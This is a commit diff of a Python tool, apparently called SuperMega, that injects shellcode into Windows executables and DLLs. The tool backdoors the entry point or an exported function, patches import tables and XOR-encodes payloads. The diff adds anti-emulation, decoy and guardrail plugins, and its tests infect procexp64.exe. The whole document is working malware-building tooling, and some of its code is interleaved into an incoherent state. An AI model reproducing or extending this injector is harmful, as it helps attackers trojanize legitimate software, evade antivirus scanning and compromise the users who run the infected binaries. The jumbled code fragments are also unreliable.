shellcode_len = len(main_shc)
code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize
if shellcode_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size:
raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format(
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size
))
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
superpe = SuperPe(exe_in)
function_backdoorer = FunctionBackdoorer(superpe)
# Patch IAT (if necessary and wanted)
for iatRequest in carrier.get_all_iat_requests():
# skip available
addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
if addr != None:
logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
continue
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
if not settings.fix_missing_iat:
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
iatRequest.name
))
# do the patch
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
# we modify the IAT raw, so reparsing is required
superpe.pe.parse_data_directories()
superpe.init_iat_entries()
shellcode_offset: int = 0 # file offset
# Special case: DLL exported function direct overwrite
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
rva = superpe.getExportEntryPoint(settings.dllfunc)
# Size and sanity checks
function_size = superpe.get_size_of_exported_function(settings.dllfunc)
if shellcode_len >= function_size:
logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
shellcode_len, function_size, settings.dllfunc
))
# Inject
shellcode_offset = superpe.get_offset_from_rva(rva)
logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
else: # EXE/DLL
# Put it somewhere in the code section, and rewire the flow
sect = superpe.get_code_section()
if sect == None:
raise Exception('Could not find code section in input PE file!')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
if sect_size < shellcode_len + CODE_INJECT_SIZE_CHECK_ADD:
raise Exception("Shellcode too large: {}+{} > {}".format(
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
))
shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section
#shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
shellcode_offset += sect.PointerToRawData
shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format(
shellcode_offset, shellcode_rva))
# Copy the shellcode
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
# rewire flow
if superpe.is_dll() and settings.dllfunc != "": # DLL
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Handled above
raise Exception("We should not land here")
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.getExportEntryPoint(settings.dllfunc)
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
settings.dllfunc, addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
shellcode_rva))
superpe.set_entrypoint(shellcode_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = superpe.get_entrypoint()
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
addr))
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
logger.info("--( Fix shellcode to re-use IAT entries")
injected_fix_iat(superpe, carrier)
logger.info("--( Fix shellcode to reference data stored in .rdata")
injected_fix_data(superpe, carrier)
# changes from console to UI (no console window) if necessary
superpe.patch_subsystem()
# We done
logger.info("--( Write to file: {}".format(exe_out))
superpe.write_pe_to_file(exe_out)
# Log
code = file_readall_binary(exe_out)
in_code = code[shellcode_offset:shellcode_offset+shellcode_len]
observer.add_code_file("carrier_exe", in_code)
# to find space for carrier and payload
# for some combination of settings HACK
self.payload_rva = None
self.carrier_rva = None
self.init_addresses()
def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
"""replace IAT-placeholders in shellcode with call's to the IAT"""
code = superpe.get_code_section_data()
for iatRequest in carrier.get_all_iat_requests():
if not iatRequest.placeholder in code:
raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder))
offset_from_code = code.index(iatRequest.placeholder)
def init_addresses(self):
rm = self.superpe.get_code_rangemanager()
# TECHNIQUE0:
# assume payload is big, find a place for it, then prepend carrier (small)
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
# align to center
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
if self.settings.carrier_name == "dll_loader_change":
# Align to page size
offset = offset & 0xFFFFF000
# page aligned possibly
self.payload_rva = offset
# prepend it a bit
self.carrier_rva = offset - len(self.payload.payload_data) - 4096
## Inject
def inject_exe(self):
exe_in = self.settings.inject_exe_in
exe_out = self.settings.inject_exe_out
carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
logger.info("-[ Injecting: into {} -> {}".format(exe_in, exe_out))
# Patch IAT (if necessary and wanted)
self.injectable_patch_iat()
carrier_shc_len = len(self.carrier_shc)
carrier_offset: int = 0 # file offset
# Special case: DLL exported function direct overwrite
if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
rva = self.superpe.getExportEntryPoint(self.settings.dllfunc)
# Size and sanity checks
function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc)
if carrier_shc_len >= function_size:
logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
carrier_shc_len, function_size, self.settings.dllfunc
))
# Inject
carrier_offset = self.superpe.get_offset_from_rva(rva)
logger.info(f'----[ Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
else: # EXE/DLL
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset))
# Copy the carrier
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
# rewire flow to the carrier
if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
# Handled above
raise Exception("We should not land here")
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
self.settings.dllfunc, addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
self.carrier_rva))
self.superpe.set_entrypoint(self.carrier_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.get_entrypoint()
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
logger.info("--( Fix imports and make carrier reference IAT")
self.injectable_write_iat_references()
logger.info("--( Insert and reference carrier data")
self.inject_and_reference_data()
# changes from console to UI (no console window) if necessary
self.superpe.patch_subsystem()
# We done
logger.info("--( Write to file: {}".format(exe_out))
self.superpe.write_pe_to_file(exe_out)
# Log
code = file_readall_binary(exe_out)
in_code = code[carrier_offset:carrier_offset+carrier_shc_len]
observer.add_code_file("carrier_exe", in_code)
def injectable_patch_iat(self):
# Patch IAT (if necessary and wanted)
for iatRequest in self.injectable.get_all_iat_requests():
# skip available
addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
if addr != None:
logger.info("---[ Request IAT {} is available at 0x{:X}".format(
iatRequest.name, addr))
continue
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
if not self.settings.fix_missing_iat:
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
iatRequest.name))
# do the patch
self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
#logger.info(" Unavailable IAT {} now patched".format(
# iatRequest.name))
# we modify the IAT raw, so reparsing is required
self.superpe.pe.parse_data_directories()
self.superpe.init_iat_entries()
def injectable_write_iat_references(self):
"""replace IAT-placeholders in shellcode with call's to the IAT"""
code = self.superpe.get_code_section_data()
for iatRequest in self.injectable.get_all_iat_requests():
for placeholder in iatRequest.references:
if not placeholder in code:
raise Exception("IatResolve ID {} not found, abort".format(placeholder))
offset_from_code = code.index(placeholder)
# Note that the SuperPe may already have been patched for new IAT imports
destination_virtual_address = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
if destination_virtual_address == None:
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format(
placeholder.hex(),
instruction_virtual_address,
destination_virtual_address,
iatRequest.name
))
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
if len(jmp) != len(placeholder):
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
len(jmp), len(placeholder)
))
code = code.replace(placeholder, jmp)
self.superpe.write_code_section_data(code)
def inject_and_reference_data(self):
"""Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA"""
reusedata_fixups: List[DataReuseEntry] = self.injectable.get_all_reusedata_fixups()
if len(reusedata_fixups) == 0:
# nothing todo
return
# Note that the SuperPe may already have been patched for new IAT imports
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
if destination_virtual_address == None:
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
))
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
if len(jmp) != len(iatRequest.placeholder):
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
code = code.replace(iatRequest.placeholder, jmp)
# insert data
logger.info("---( DataReuseFixups: Inject the data")
for datareuse_fixup in reusedata_fixups:
logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
datareuse_fixup.string_ref, datareuse_fixup.in_code))
superpe.write_code_section_data(code)
if datareuse_fixup.in_code: # .text
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format(
datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data)))
else: # .rdata
rdata_manager = self.superpe.get_rdata_rangemanager()
# get a hole in the .rdata section to put our data
hole_rva = rdata_manager.find_hole(len(datareuse_fixup.data))
if hole_rva == None:
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
len(datareuse_fixup.data)
))
rdata_manager.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
def injected_fix_data(superpe: SuperPe, carrier: Carrier):
"""Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA"""
# Insert my data into the .rdata section.
# Chose and save each datareuse_fixup's addres.
reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups()
if len(reusedata_fixups) == 0:
# nothing todo
return
# Put stuff into .rdata section in the PE
peSection = carrier.superpe.get_section_by_name(".rdata")
if peSection == None:
raise Exception("No .rdata section found, abort")
rm = carrier.superpe.get_rdata_relocmanager()
var_data = datareuse_fixup.data
data_rva = hole_rva[0]
self.superpe.pe.set_bytes_at_rva(data_rva, var_data)
datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base()
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
if True: # FIXME this is a hack which is sometimes necessary
sect_data_copy = peSection.pefile_section.get_data()
string_off = find_first_utf16_string_offset(sect_data_copy)
if string_off == None:
raise Exception("Strings not found in .rdata section, abort")
if string_off < 128:
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
string_off = 128
rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off)
# replace the placeholder in .text with a LEA instruction to the data we written above
logger.info("---( Datareusefixups: patch code to reference the data")
code = self.superpe.get_code_section_data()
for datareuse_fixup in reusedata_fixups:
ref: DataReuseReference
for ref in datareuse_fixup.references:
if not ref.placeholder in code:
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
ref.placeholder.hex(), datareuse_fixup.string_ref))
offset_from_datasection = code.index(ref.placeholder)
instruction_virtual_address = offset_from_datasection + self.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
destination_virtual_address = datareuse_fixup.addr
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address
))
lea = assemble_lea(
instruction_virtual_address, destination_virtual_address, ref.register
)
asm_disasm(lea, instruction_virtual_address) # DEBUG
if len(lea) != len(ref.placeholder):
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
len(lea), len(ref.placeholder)
))
code = code.replace(ref.placeholder, lea)
# Do all .rdata patches
logger.info("---( Patch: .rdata")
for datareuse_fixup in reusedata_fixups:
logger.info(" Handling DataReuse Fixup: {} <- {}".format(
datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex()))
# get a hole in the .rdata section to put our data
hole_rva = rm.find_hole(len(datareuse_fixup.data))
if hole_rva == None:
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
len(datareuse_fixup.data)
))
rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
var_data = datareuse_fixup.data
data_rva = hole_rva[0]
superpe.pe.set_bytes_at_rva(data_rva, var_data)
datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base()
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
# patch code section
# replace the placeholder with a LEA instruction to the data we written above
logger.info("---( Patch: .text")
code = superpe.get_code_section_data()
for datareuse_fixup in reusedata_fixups:
if not datareuse_fixup.randbytes in code:
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref))
offset_from_datasection = code.index(datareuse_fixup.randbytes)
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
destination_virtual_address = datareuse_fixup.addr
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address
))
lea = assemble_lea(
instruction_virtual_address, destination_virtual_address, datareuse_fixup.register
)
asm_disasm(lea, instruction_virtual_address) # DEBUG
if len(lea) != len(datareuse_fixup.randbytes):
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
code = code.replace(datareuse_fixup.randbytes, lea)
superpe.write_code_section_data(code)
self.superpe.write_code_section_data(code)
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
@@ -251,5 +292,3 @@ def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
else:
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
return 1
+3 -3
View File
@@ -100,7 +100,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
g_is32bit = True
if tokens[0] == "EXTRN":
print(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
raise Exception(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
in_skipped = False
in_const = False
@@ -127,7 +127,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
logger.debug("[INFO] Entry Point: AlignRSP")
if seg_name == "_BSS":
logger.error(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
if seg_name in ("pdata", "xdata", "voltbl"):
in_skipped = True
@@ -145,7 +145,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
if tokens[1] in ("LIBCMT", "OLDNAMES"):
ofile.write(f"; {line}\n") # copy commented out line
continue
print(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
raise Exception(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
if params.inline_strings and in_const:
if tokens[1] == "DB":
+43 -5
View File
@@ -23,12 +23,31 @@ def get_template_names() -> List[str]:
def create_c_from_template(settings: Settings, payload_len: int):
logger.info("--( Create C from template: {} -> {}".format(
logger.info("-( Create C from template: {} -> {}".format(
PATH_DECODER, settings.main_c_path))
plugin_decoder = ""
# Decoder
filepath_decoder = PATH_DECODER + "{}.c".format(settings.decoder_style.value)
# Plugin: VirtualAlloc
filepath_virtualprotect = PATH_VIRTUALPROTECT + "{}.c".format(
settings.plugin_virtualprotect)
with open(filepath_virtualprotect, "r", encoding='utf-8') as file:
plugin_virtualprotect = file.read()
plugin_virtualprotect = Template(plugin_virtualprotect).render({
'virtualprotect_data': settings.plugin_virtualprotect_data,
})
# Plugin: Execution Guardrails
filepath_guardrails = PATH_GUARDRAILS + "{}.c".format(
settings.plugin_guardrail)
with open(filepath_guardrails, "r", encoding='utf-8') as file:
plugin_guardrails = file.read()
plugin_guardrails = Template(plugin_guardrails).render({
'guardrail_data': settings.plugin_guardrail_data,
})
# Plugin: Decoder
filepath_decoder = PATH_DECODER + "{}.c".format(
settings.decoder_style)
with open(filepath_decoder, "r", encoding='utf-8') as file:
plugin_decoder = file.read()
plugin_decoder = Template(plugin_decoder).render({
@@ -37,16 +56,35 @@ def create_c_from_template(settings: Settings, payload_len: int):
'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2),
})
# Choose correct template
# Plugin: Anti-Emulation
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
settings.plugin_antiemulation)
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
plugin_antiemualation = file.read()
plugin_antiemualation = Template(plugin_antiemualation).render({
'PAYLOAD_LEN': payload_len,
})
# Plugin: Decoy
filepath_decoy = PATH_DECOY + "{}.c".format(
settings.plugin_decoy)
with open(filepath_decoy, "r", encoding='utf-8') as file:
plugin_decoy = file.read()
# Choose template
dirpath = PATH_CARRIER + settings.carrier_name + "/template.c"
with open(dirpath, 'r', encoding='utf-8') as file:
template_content = file.read()
observer.add_text_file("main_c_template", template_content)
# Render template
template = Template(template_content)
rendered_template = template.render({
'plugin_decoder': plugin_decoder,
'plugin_antiemulation': plugin_antiemualation,
'plugin_decoy': plugin_decoy,
'plugin_executionguardrail': plugin_guardrails,
'PAYLOAD_LEN': payload_len,
'plugin_virtualprotect': plugin_virtualprotect,
})
with open(settings.main_c_path, "w", encoding='utf-8') as file:
file.write(rendered_template)
-44
View File
@@ -1,44 +0,0 @@
import sys
from model.defs import *
from pe.superpe import SuperPe
def main(filename: str, current_base: int):
print("Handling: {}".format(filename))
superpe = SuperPe(filename)
r = {}
relocation: PeRelocEntry
for relocation in superpe.get_base_relocs():
if relocation.base_rva in r:
r[relocation.base_rva] += 1
else:
r[relocation.base_rva] = 1
#print("Base: 0x{:X} RVA: 0x{:X} Offset: {} Type: {}".format(
# relocation.base_rva,
# relocation.rva,
# relocation.offset,
# relocation.type,
#))
sum = 0
for base, count in r.items():
print("0x{:X}: {}".format(base, count))
sum += count
print("Sum: {}".format(sum))
print("Image Base : 0x{:X}".format(superpe.get_image_base()))
print("Current Base: 0x{:X}".format(current_base))
if __name__ == "__main__":
if len(sys.argv) != 3:
print("./relokator <filename> <base>")
exit(1)
filename = sys.argv[1]
current_base = int(sys.argv[2], 16)
main(filename, current_base)
+44 -51
View File
@@ -1,4 +1,3 @@
import shutil
import argparse
from typing import Dict
import os
@@ -12,19 +11,21 @@ import phases.compiler
import phases.assembler
import phases.injector
from observer import observer
from pe.pehelper import extract_code_from_exe_file_ep
from pe.pehelper import preload_dll
from sender import scannerDetectsBytes
from model.project import Project, prepare_project
from model.settings import Settings
from model.defs import *
from log import setup_logging
from model.carrier import Carrier, DataReuseEntry, IatRequest
from model.injectable import DataReuseEntry
from utils import check_deps
def main():
"""Argument parsing for when called from command line"""
logger.info("Super Mega")
config.load()
check_deps()
settings = Settings()
parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
@@ -55,12 +56,7 @@ def main():
if args.carrier:
settings.carrier_name = args.carrier
if args.decoder:
if args.decoder == "plain_1":
settings.decoder_style = DecoderStyle.PLAIN_1
elif args.decoder == "xor_1":
settings.decoder_style = DecoderStyle.XOR_1
elif args.decoder == "xor_2":
settings.decoder_style = DecoderStyle.XOR_2
settings.decoder_style = args.decoder
if args.inject:
if args.carrier_invoke == "eop":
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
@@ -84,6 +80,10 @@ def main():
logger.info("Could not find: {}".format(args.inject))
return
settings.inject_exe_in = args.inject
settings.inject_exe_out = "{}{}".format(
settings.main_dir,
os.path.basename(args.inject).replace(".exe", ".injected.exe")
)
settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll")
write_webproject("default", settings)
@@ -109,7 +109,7 @@ def start(settings: Settings) -> int:
prepare_project(settings.project_name, settings)
# Do the thing and catch the errors
if False:
if True:
start_real(settings)
else:
try:
@@ -137,26 +137,37 @@ def start_real(settings: Settings):
project.init()
# CHECK if 64 bit
if not project.carrier.superpe.is_64():
if not project.injectable.superpe.is_64():
raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in))
logger.info("--[ Config: {} {} {} {}".format(
project.settings.carrier_name,
settings.payload_location.value,
project.settings.decoder_style.value,
project.settings.decoder_style,
project.settings.carrier_invoke_style.value))
# CREATE: Carrier C source files from template (C->C)
phases.templater.create_c_from_template(settings, project.payload.len)
logger.info("--[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format(
project.settings.plugin_antiemulation,
project.settings.plugin_decoy,
project.settings.plugin_guardrail)
)
# FIXUP DLL Payload
# Prepare DLL payload for usage in dll_loader_change
# This needs to be done before rendering the C templates, as need
# the real size of the payload
if project.settings.carrier_name == "dll_loader_change":
project.payload.payload_data = preload_dll(project.payload.payload_path)
# CREATE: Carrier C source files from template (C->C)
phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
# If we put the payload into .rdata
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
if settings.payload_location == PayloadLocation.DATA:
logger.info("--[ Load payload for use in .rdata injection")
project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
entry = project.carrier.get_reusedata_fixup("supermega_payload")
entry.data = phases.assembler.encode_payload(
project.payload.payload_data, settings.decoder_style) # encrypt
# So the carrier is able to find the payload
project.injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True))
entry = project.injectable.get_reusedata_fixup("supermega_payload")
entry.data = phases.assembler.encode_payload(
project.payload.payload_data, settings.decoder_style) # encrypt
observer.add_code_file("payload", project.payload.payload_data)
# COMPILE: Carrier to .asm (C -> ASM)
@@ -164,17 +175,14 @@ def start_real(settings: Settings):
phases.compiler.compile(
c_in = settings.main_c_path,
asm_out = settings.main_asm_path,
carrier = project.carrier,
injectable = project.injectable,
settings = project.settings)
# we have the carrier-required IAT entries in carrier.iat_requests
# CHECK if all are available in infectable, or abort (early check)
functions = project.carrier.get_unresolved_iat()
if len(functions) != 0:
if settings.fix_missing_iat:
logger.info("--[ Fixing missing IAT entries: {}".format(", ".join(functions)))
else:
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
functions = project.injectable.get_unresolved_iat()
if len(functions) != 0 and settings.fix_missing_iat == False:
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
if settings.generate_shc_from_asm:
@@ -183,29 +191,14 @@ def start_real(settings: Settings):
build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode)
# MERGE: shellcode/loader with payload (SHC + PAYLOAD -> SHC)
if settings.payload_location == PayloadLocation.CODE:
logger.info("--[ Merge carrier with payload for .text injection".format())
full_shellcode = phases.assembler.merge_loader_payload(
shellcode_in = carrier_shellcode,
payload_data = project.payload.payload_data,
decoder_style = settings.decoder_style)
#observer.add_code_file("full_shc", full_shellcode)
else:
# shellcode is in .rdata, so we dont need to merge
full_shellcode = carrier_shellcode
# RWX Injection (optional): obfuscate loader+payload
#if project.exe_host.rwx_section != None:
# logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
# project.exe_host.rwx_section.Name.decode().rstrip('\x00')
# ))
# obfuscate_shc_loader(settings.main_shc_path, settings.main_shc_path + ".sgn")
# observer.add_code_file("payload_sgn", file_readall_binary(settings.main_shc_path + ".sgn"))
# shutil.move(settings.main_shc_path + ".sgn", settings.main_shc_path)
# inject (merged) loader into an exe. Big task.
phases.injector.inject_exe(full_shellcode, settings, project.carrier)
# INJECT loader into an exe and do IAT & data references. Big task.
injector = phases.injector.Injector(
carrier_shellcode,
project.payload,
project.injectable,
settings)
injector.inject_exe()
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
# Check binary with avred
+33 -3
View File
@@ -11,15 +11,45 @@ from model.project import prepare_project
def main():
logger.info("Super Mega Tester")
logger.info("Super Mega Tester: " + os.path.dirname(VerifyFilename))
config.load()
if not os.path.exists(os.path.dirname(VerifyFilename)):
print("{} directory does not exist".format(os.path.dirname(VerifyFilename)))
return
test_dll_loader()
test_exe_code()
test_exe_data()
test_dll_code()
test_dll_data()
def test_dll_loader():
print("Testing: DLL Loader")
settings = Settings("unittest")
settings.payload_path = PATH_SHELLCODES + "createfile.dll"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
print("Test DLL Loader 1/2: procexp, backdoor main, dll loader alloc")
settings.carrier_name = "dll_loader_alloc"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
if start(settings) != 0:
print("Error")
print("Test DLL Loader 2/2: procexp, backdoor main, dll loader change")
settings.carrier_name = "dll_loader_change"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
if start(settings) != 0:
print("Error")
def test_exe_code():
print("Testing: EXEs: Inject payload into .text")
settings = Settings("unittest")
@@ -220,6 +250,6 @@ def dll_iat_reuse():
if __name__ == "__main__":
#setup_logging(level=logging.INFO)
setup_logging(level=logging.WARNING)
setup_logging(level=logging.INFO)
#setup_logging(level=logging.WARNING)
main()
+21 -25
View File
@@ -3,7 +3,7 @@ import unittest
import logging
from model.defs import *
from model.carrier import Carrier, DataReuseEntry
from model.injectable import Injectable, DataReuseEntry
from observer import observer
from helper import *
from phases.asmtextparser import parse_asm_text_file
@@ -25,11 +25,11 @@ class AsmTest(unittest.TestCase):
def test_asm_fixup(self):
asm_in: FilePath = "tests/data/peb_walk_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
carrier = Carrier("fake.exe")
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
injectable = Injectable("fake.exe")
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
# cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H
# cmp DWORD PTR n$1[rsp], 272 ; 00ab4130H
@@ -42,30 +42,26 @@ class AsmTest(unittest.TestCase):
# lea r8, [shcstart]
#self.assertTrue("lea r8, [shcstart]" in asm_text_lines[198-1-1])
self.assertTrue("DB 0" in asm_text_lines[198-1-1])
self.assertTrue("supermega_payload" not in asm_text_lines[198-1-1])
# shcstart:
self.assertTrue("shcstart:" in asm_text_lines[213-1-1])
def test_asm_iat_request(self):
asm_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
carrier = Carrier("fake.exe")
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
injectable = Injectable("fake.exe")
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
self.assertEqual(len(carrier.iat_requests), 2)
self.assertEqual(len(injectable.iat_requests), 2)
